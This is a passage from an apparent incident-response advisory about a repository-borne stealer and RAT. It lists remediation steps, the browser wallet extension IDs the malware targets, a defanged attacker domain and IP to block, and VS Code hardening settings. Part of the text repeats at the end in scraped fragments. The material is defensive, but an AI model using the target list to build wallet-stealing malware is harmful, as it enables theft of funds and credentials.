- Disconnect the machine from the network. Look for the IOCs above, kill the
node processes, and delete the
files listed.
- From a different, clean device:
- Create new wallets with new seed phrases and move all crypto funds. Wallet vaults and seed files may
already be stolen.
- Change every browser-saved password, starting with email, password manager, banking, GitHub/GitLab, cloud
consoles and npm. Enable or re-enroll 2FA.
- Sign out of all sessions (Google, GitHub, Slack and so on) to invalidate stolen cookies.
- Rotate all secrets from
.env files and configs: API keys, cloud credentials, DB passwords, deploy
tokens. Rotate SSH keys, and remove the old public keys from servers and GitHub.
- On macOS, change your login password, because the keychain database was taken.
- Reinstall the operating system. The RAT gave the attacker arbitrary command execution, so you can’t confirm by
hand that the machine is clean.
nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask) ejbalbakoplchlghecdalmeeeajnimhm (MetaMask – Edge)
acmacodkjbdgmoleebolmdjonilkdbch (Rabby) bfnaelmomeimhlpmgjnjophhpkkoljpa (Phantom)
ibnejdfjmmkpcnlpebklmnkoeoihofec (TronLink) egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet)
nphplpgoakhhjchkkhmiggakijnkhfnd (TON Wallet) omaabbefbmiijedngplfjmnooppbclkk (Tonkeeper)
bhhhlbepdkbapadjdnnojkbgioiodbic (Solflare) aeachknmefphepccionboohckonoeemg (Coin98)
aflkmhkiijdbfcmhplgifokgdeclgpoi agoakfejjabomempkjlepdflaleeobhb (Core)
aholpfdialjgjfhomihkjbmgjidlcdno (Exodus Web3) afbcbjpbpfadlkmhmclhkeeodmamcflc (Math Wallet)
cgbogdmdefihhljhfeffkljbghamglni dmkamcknogkgcdfhhbddcghachkejeap (Keplr)
dlcobpjiigpikoobohmabehhmhfoodbb (Argent X) efbglgofoippbgcjepnhiblaibcnclgk (Martian)
ejjladinnckdgjemekebdpeokbikhfci (Petra) fhbohimaelbohpjbbldcngcnapndodjp (Binance Wallet)
fhkbkphfeanlhnlffkpologfoccekhic fhmfendgdocmcbmfikdcogofphimnkno
fldfpgipfncgndfolcbkdeeknbbbnhcc (MyTonWallet) gjnckgkfmgmibbkoficdidcljeaaaheg
hifafgmccdpekplomjjkcfgodnhcellj (Crypto.com DeFi) hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad (Coinbase Wallet) jiidiaalihmmhddjgbnbgdfflelocpak (Bitget Wallet)
jblndlipeogpafnldhgmapagcccfchpi (Kaikas) jmbkjchcobfffnmjboflnchcbljiljdk
jnjpmcgfcfeffkfgcnjefkbkgcpnkpab kpkmkbkoifcfpapmleipncofdbjdpice
khpkpbbcccdmmclmpigdgddabeilkdpd (Suiet) ldinpeekobnhjjdofggfgjlcehhmanaj
lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal) mcohilncbfahbmgdjkbpemcciiolgcge (OKX Wallet)
mopnmbcafieddcagagdcbnhejhlodfdd nkklfkfpelhghbidbnpdfhblphpfjmbo
penjlddjkjgpnkllboccdgccekpkcbin ppbibelpcjmhbdihakflkdcoccbgbkpo (UniSat)
Never open untrusted repos in VS Code (or Cursor, Windsurf, or other forks) outside Restricted Mode. Add this to your user settings:
{
"task.allowAutomaticTasks": "off",
"security.workspace.trust.enabled": true
}
cloudfluxio[.]store and 167.88.172[.]115 on your network or firewall.pipx install devguard-scanner && devguard scan https://github.com/owner/repo. It doesn’t replace any of the
steps above (see the overview post
for why).node processes, and delete the
files listed.- Create new wallets with new seed phrases and move all crypto funds. Wallet vaults and seed files may already be stolen.
- Change every browser-saved password, starting with email, password manager, banking, GitHub/GitLab, cloud consoles and npm. Enable or re-enroll 2FA.
- Sign out of all sessions (Google, GitHub, Slack and so on) to invalidate stolen cookies.
- Rotate all secrets from
.envfiles and configs: API keys, cloud credentials, DB passwords, deploy tokens. Rotate SSH keys, and remove the old public keys from servers and GitHub. - On macOS, change your login password, because the keychain database was taken.